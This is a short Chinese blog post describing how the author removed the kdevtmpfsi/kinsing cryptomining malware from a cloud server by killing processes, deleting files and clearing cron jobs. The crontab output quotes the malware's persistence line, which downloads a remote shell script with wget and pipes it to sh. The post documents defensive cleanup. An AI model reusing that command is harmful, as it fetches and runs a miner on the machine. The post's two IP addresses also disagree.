本文已参与「新人创作礼」活动，一起开启掘金创作之路。
登录阿里云:cloud:服务器查看了一下top，发现 kdevtmpfsi 的进程 cup 占用快100%了，腾讯云官方也有相关的 处理方法 腾讯手动清除H2Miner的【:two: 条建议如下】：
- 查找路径为/tmp/kinsing、/tmp/kinsing2、/tmp/kdevtmpfsi的进程，将其kill掉并删除对应的文件；
- 查找crontab任务中包含“95.3.146.118”的相关项并删除。
在网络上查看发现中招的朋友不少，详细的处理过程如下【一共 :five: 个步骤】
:one: 查看kdevtmpfsi的守护进程kinsing先kill掉【否则kdevtmpfsi进程会不断恢复占用】
[root@aliyun ~]# ps -aux | grep kinsing
[root@aliyun ~]# kill -9 kinsing_pid
:two: 查看kdevtmpfsi的进程并kill掉
[root@aliyun ~]# ps -aux | grep kdevtmpfsi
[root@aliyun ~]# kill -9 kdevtmpfsi_pid
:three: 删除/tmp/下kdevtmpfsi相关文件
[root@aliyun ~]# cd /tmp/
[root@aliyun tmp]# rm -rf kdevtmpfsi
:four: 删除/var/tmp/下kinsing相关文件
[root@aliyun ~]# cd /var/tmp/
[root@aliyun tmp]# rm -rf kinsing
:five: 查询并删除定时任务
# 查询
[root@aliyun ~]# crontab -l
* * * * * wget -q -O - http://195.3.146.118/spr.sh | sh > /dev/null 2>&1
# 编辑删除【如果没有在用的其他定时任务可删除全部定时任务 crontab -r】
[root@aliyun ~]# crontab -e
至此，阿里云的服务器问题解决 :flushed: 【腾讯云:cloud:也出现了这个病毒，处理方法基本一致】实际上并未彻底解决，后来又出现了 :sob: 出现之后再次执行一遍即可，现在有一段时间没见到它了~
